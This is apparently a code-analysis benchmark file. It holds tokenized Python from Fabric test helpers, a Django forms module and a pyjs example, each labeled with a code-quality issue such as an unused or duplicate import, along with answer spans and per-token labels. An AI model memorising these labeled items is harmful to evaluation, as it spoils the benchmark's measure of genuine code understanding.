"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "setup_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Clear", " ", "Fu", "dge", " ", "mock", " ", "expectations", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "clear", "\\u", "expectations", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Copy", " ", "env", ",", " ", "output", " ", "for", " ", "resto", "ration", " ", "in", " ", "teardown_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "previ", "ous", "\\u", "env_", "=_", "copy_", "._", "deepcopy_", "(_", "env_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "De", "ep", "copy", " ", "doe", "sn", "'", "t", " ", "work", " ", "well", " ", "on", " ", "Ali", "as", "Dict", "s", ";", " ", "but", " ", "the", "y", "'", "re", " ", "only", " ", "one", " ", "layer_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "deep", " ", "anyway", "s", ",", " ", "so", "..._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "previ", "ous", "\\u", "output_", "=_", "output_", "._", "items_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "All", "ow", " ", "hook", "s", " ", "from", " ", "subclasses", " ", "here", " ", "for", " ", "setti", "ng", " ", "env", " ", "vars", " ", "(", "so", " ", "the", "y", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pur", "ged", " ", "correct", "ly", " ", "in", " ", "tear", "down", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "env", "\\u", "setup_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tempora", "ry", " ", "local", " ", "file", " ", "dir_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "tmpdir_", "=_", "tempfile_", "._", "mkdtemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "network_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env_", "._", "update_", "(_", "to", "\\u", "dict_", "(_", "'%", "s", "@", "%", "s", ":", "%", "s", "'_", "%_", "(_", "USER_", ",_", "HOST_", ",_", "PORT_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "env", "\\u", "setup_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "default", " ", "networking", " ", "for", " ", "test", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env_", "._", "disable", "\\u", "know", "n", "\\u", "hosts_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "network_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "password_", "=_", "PASS", "WORDS_", "[_", "USER_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Command", " ", "response", " ", "mock", "ing", " ", "is", " ", "easi", "er", " ", "with", "out", " ", "hav", "ing", " ", "to", " ", "account", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shell", " ", "wrapp", "ing", " ", "every", "where", "._", "\\u\\u\\uNL\\u\\u\\u_", "env_", "._", "use", "\\u", "shell_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "teardown_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env_", "._", "clear_", "(_", ")_", "#", " ", "In", " ", "case", " ", "tests", " ", "set", " ", "env", " ", "vars", " ", "tha", "t", " ", "did", "n", "'", "t", " ", "exist", " ", "previ", "ously", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "update_", "(_", "self_", "._", "previ", "ous", "\\u", "env_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "._", "update_", "(_", "self_", "._", "previ", "ous", "\\u", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutil_", "._", "rmtree_", "(_", "self_", "._", "tmpdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Clear", " ", "Fu", "dge", " ", "mock", " ", "expectations", "...", "again", "_", "\\u\\u\\uNL\\u\\u\\u_", "clear", "\\u", "expectations", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path_", "(_", "self_", ",_", "*_", "path", "\\u", "parts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tmpdir_", ",_", "*_", "path", "\\u", "parts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mkf", "ile_", "(_", "self_", ",_", "path_", ",_", "contents_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dest_", "=_", "self_", "._", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "dest_", ",_", "'", "w", "'_", ")_", "as_", "fd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fd_", "._", "write_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "exist", "s", "\\u", "remote", "ly_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "SFTP", "_", "(_", "env_", "._", "host", "\\u", "string_", ")_", "._", "exists_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fabric", "Test_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "exist", "s", "\\u", "local", "ly_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "os_", "._", "path_", "._", "exists_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "password", "\\u", "response_", "(_", "password_", ",_", "times", "\\u", "called_", "=_", "None_", ",_", "silent_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Context", " ", "manage", "r", " ", "whi", "ch", " ", "patche", "s", " ", "``", "getpa", "ss", ".", "getpa", "ss", "``", " ", "to", " ", "return", " ", "``", "password", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "password", "``", " ", "may", " ", "be", " ", "a", " ", "single", " ", "string", " ", "or", " ", "an", " ", "iterable", " ", "of", " ", "string", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "If", " ", "single", " ", "string", ",", " ", "give", "n", " ", "password", " ", "is", " ", "return", "ed", " ", "every", " ", "time", " ", "``", "getpa", "ss", "``", " ", "is", "\\", "10", ";", " ", " ", "call", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "If", " ", "iterable", ",", " ", "iterate", "d", " ", "over", " ", "for", " ", "each", " ", "call", " ", "to", " ", "``", "getpa", "ss", "``", ",", " ", "after", " ", "whi", "ch", "\\", "10", ";", " ", " ", "``", "getpa", "ss", "``", " ", "will", " ", "error", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "``", "times", "\\u", "call", "ed", "``", " ", "is", " ", "give", "n", ",", " ", "it", " ", "is", " ", "used", " ", "to", " ", "add", " ", "a", " ", "``", "Fake", ".", "times", "\\u", "call", "ed", "``", "\\", "10", ";", " ", " ", " ", " ", "clause", " ", "to", " ", "the", " ", "mock", " ", "object", ",", " ", "e", ".", "g", ".", " ", "``.", "times", "\\u", "call", "ed", "(", "1", ")``.", " ", "Speci", "fy", "ing", "\\", "10", ";", " ", " ", " ", " ", "``", "times", "\\u", "call", "ed", "``", " ", "along", "side", " ", "an", " ", "iterable", " ", "``", "password", "``", " ", "list", " ", "is", " ", "unsup", "porte", "d", "\\", "10", ";", " ", " ", " ", " ", "(", "see", " ", "Fu", "dge", " ", "docs", " ", "on", " ", "``", "Fake", ".", "next", "\\u", "call", "``)", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "``", "sile", "nt", "``", " ", "is", " ", "Tru", "e", ",", " ", "no", " ", "prompt", " ", "will", " ", "be", " ", "printed", " ", "to", " ", "``", "sys", ".", "std", "err", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake_", "=_", "Fake", "_", "(_", "'", "getpa", "ss", "'_", ",_", "callable_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Assume", " ", "string", "type", " ", "or", " ", "iterable", ",", " ", "turn", " ", "int", "o", " ", "mutable", " ", "iterable_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "password_", ",_", "String", "Types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "passwords", "_", "=_", "[_", "password_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "passwords", "_", "=_", "list_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Optio", "nal", " ", "echo", "ing", " ", "of", " ", "prompt", " ", "to", " ", "mimic", " ", "real", " ", "behavior", " ", "of", " ", "getpass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "als", "o", " ", "echo", " ", "a", " ", "newline", " ", "if", " ", "the", " ", "prompt", " ", "isn", "'", "t", " ", "a", " ", "\"", "passthrough", "\"", " ", "from", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "server", " ", "(", "as", " ", "it", " ", "means", " ", "the", " ", "server", " ", "won", "'", "t", " ", "be", " ", "sendin", "g", " ", "its", " ", "own", " ", "newline", " ", "for", " ", "us", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "echo_", "=_", "lambda_", "x_", ",_", "y_", ":_", "y_", "._", "write_", "(_", "x_", "+_", "(_", "\"\\\\", "n", "\"_", "if_", "x_", "!=_", "\"", " ", "\"_", "else_", "\"\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Al", "way", "s", " ", "return", " ", "first", " ", "(", "only", "?)", " ", "password", " ", "right", " ", "away_", "\\u\\u\\uNL\\u\\u\\u_", "fake_", "=_", "fake_", "._", "returns_", "(_", "passwords", "_", "._", "pop_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "silent_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fake_", "=_", "fake_", "._", "calls_", "(_", "echo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "had", " ", ">", "1", ",", " ", "return", " ", "tho", "se", " ", "after", "ward", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "pw_", "in_", "passwords", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fake_", "=_", "fake_", "._", "next", "\\u", "call_", "(_", ")_", "._", "returns_", "(_", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "silent_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fake_", "=_", "fake_", "._", "calls_", "(_", "echo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Pass", "through", " ", "times", "\\u", "called_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "times", "\\u", "called_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fake_", "=_", "fake_", "._", "times", "\\u", "called_", "(_", "times", "\\u", "called_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "patche", "d\\u", "context_", "(_", "getpass_", ",_", "'", "getpa", "ss", "'_", ",_", "fake_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "assert", "\\u", "contains_", "(_", "needle", "_", ",_", "haystack", "_", ",_", "invert_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "matched_", "=_", "re_", "._", "search_", "(_", "needle", "_", ",_", "haystack", "_", ",_", "re_", "._", "M_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "invert_", "and_", "matched_", ")_", "or_", "(_", "not_", "invert_", "and_", "not_", "matched_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Assert", "ion", "Error_", "(_", "\"", "r", "'%", "s", "'", " ", "%", "sfo", "und", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "needle", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", "if_", "invert_", "else_", "\"", "not", " ", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "haystack", "_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "line", "\\u", "prefix_", "(_", "prefix_", ",_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "``", "string", "``", " ", "with", " ", "all", " ", "lines", " ", "prefixed", " ", "by", " ", "``", "prefix", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "prefix_", "+_", "x_", "for_", "x_", "in_", "string_", "._", "splitlines_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "eq\\u_", "(_", "result_", ",_", "expected_", ",_", "msg_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Shad", "ow", " ", "of", " ", "the", " ", "No", "se", " ", "bui", "lti", "n", " ", "whi", "ch", " ", "presen", "ts", " ", "easi", "er", " ", "to", " ", "read", " ", "multiline", " ", "output", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "{_", "'", "expected", "'_", ":_", "expected_", ",_", "'", "result", "'_", ":_", "result_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aka", "_", "=_", "\"\"\"", "\\", "10", ";", "\\", "10", ";", "--------------", "--------------", "-----", " ", "aka", " ", "--------------", "--------------", "-------------", "\\", "10", ";", "\\", "10", ";", "Expect", "ed", ":", "\\", "10", ";", "%", "(", "expected", ")", "r", "\\", "10", ";", "\\", "10", ";", "Got", ":", "\\", "10", ";", "%", "(", "result", ")", "r", "\\", "10", ";\"\"\"_", "%_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "default", "\\u", "msg_", "=_", "\"\"\"", "\\", "10", ";", "Expect", "ed", ":", "\\", "10", ";", "%", "(", "expected", ")", "s", "\\", "10", ";", "\\", "10", ";", "Got", ":", "\\", "10", ";", "%", "(", "result", ")", "s", "\\", "10", ";\"\"\"_", "%_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "repr_", "(_", "result_", ")_", "!=_", "str_", "(_", "result_", ")_", ")_", "or_", "(_", "repr_", "(_", "expected_", ")_", "!=_", "str_", "(_", "expected_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "default", "\\u", "msg_", "+=_", "aka", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "result_", "==_", "expected_", ",_", "msg_", "or_", "default", "\\u", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "eq", "\\u", "contents_", "(_", "path_", ",_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "path_", ")_", "as_", "fd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eq\\u_", "(_", "text_", ",_", "fd_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "support_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "'", "support", "'_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "contextmanager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "path", "\\u", "prefix_", "(_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "path_", "._", "insert_", "(_", "i_", ",_", "os_", "._", "path_", "._", "dirname_", "(_", "module_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "path_", "._", "pop_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "abort", "s_", "(_", "func_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "raises_", "(_", "System", "Exit_", ")_", "(_", "mock", "\\u", "streams_", "(_", "'", "std", "err", "'_", ")_", "(_", "func_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "patche", "d\\u", "input_", "(_", "func_", ",_", "fake_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "func_", "(_", "sys_", "._", "modules_", "[_", "'\\u", "\\u", "bui", "lti", "n", "\\u\\u'_", "]_", ",_", "'", "raw", "\\u", "input", "'_", ",_", "fake_", ")_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ypi.models import Project, Classifier, Release\nfrom django.utils.translation import ugettext_lazy as _\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ProjectForm(forms.ModelForm):\n class Meta:\n model = Project\n exclude = ['owner', 'classifiers']", "metadata": "root.ProjectForm", "header": "['module', '___EOS___']", "index": 7 }, { "content": "class ReleaseForm(forms.ModelForm):\n class Meta:\n model = Release\n exclude = ['project']", "metadata": "root.ReleaseForm", "header": "['module', '___EOS___']", "index": 13 } ]
[ { "span": "import os", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 9 }, { "span": "from django.conf import settings", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 32 }, { "span": "from djangopypi.models import Project, Classifier, Release", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 58 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "import_", "forms_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django", "pypi", "_", "._", "models_", "import_", "Project_", ",_", "Classifier_", ",_", "Release_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Project", "Form_", "(_", "forms_", "._", "Model", "Form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Project_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exclude_", "=_", "[_", "'", "owner", "'_", ",_", "'", "classif", "iers", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Release", "Form_", "(_", "forms_", "._", "Model", "Form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Release_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exclude_", "=_", "[_", "'", "project", "'_", "]_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported more than once
pyjs/pyjs/examples/jsonrpc/__main__.py
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nhead = os.path.dirname(__file__)\n\nTARGETS = {\n 'JSONRPCExample.py': dict(\n downloads=[\n dict(\n url= \"http://downloads.sourceforge.net/project/phpolait/\"+\\\n \"phpolait/phpolait-0.5.1/phpolait-0.5.1.zip\",\n\n dst=os.path.join(head, 'phpolait-0.5.1.zip'),\n unzip=True,\n )\n ],\n )\n\n}\n\n\nPACKAGE = {\n 'title': 'JSONRPCExample',\n 'desc': 'JSONRPC example',\n}\n\n\n\n\n\n\n\n\n##---------------------------------------##\n# --------- (-: DO NOT EDIT :-) --------- #\n##---------------------------------------##\n\n\nimport sys\nimport os\n\n\nexamples = head = os.path.abspath(os.path.dirname(__file__))\nwhile os.path.split(examples)[1].lower() != 'examples':\n examples = os.path.split(examples)[0]\n if not examples:\n raise ValueError(\"Cannot determine examples directory\")\nsys.path.insert(0, os.path.join(examples))\nfrom _examples import util\nsys.path.pop(0)\n\nutil.init(head)\n\nsetup(TARGETS)\ntranslate()\ninstall(PACKAGE)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import os", "start_line": 50, "start_column": 0, "end_line": 50, "end_column": 9 } ]
[ { "span": "import os", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 9 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "head_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TARGET", "S_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "JSONR", "PC", "Exam", "ple", ".", "py", "'_", ":_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "downloads_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "\"", "http", "://", "download", "s", ".", "sourcef", "org", "e", ".", "net", "/", "project", "/", "php", "ola", "it", "/\"_", "+_", "\"", "php", "ola", "it", "/", "php", "ola", "it", "-0", ".5", ".1", 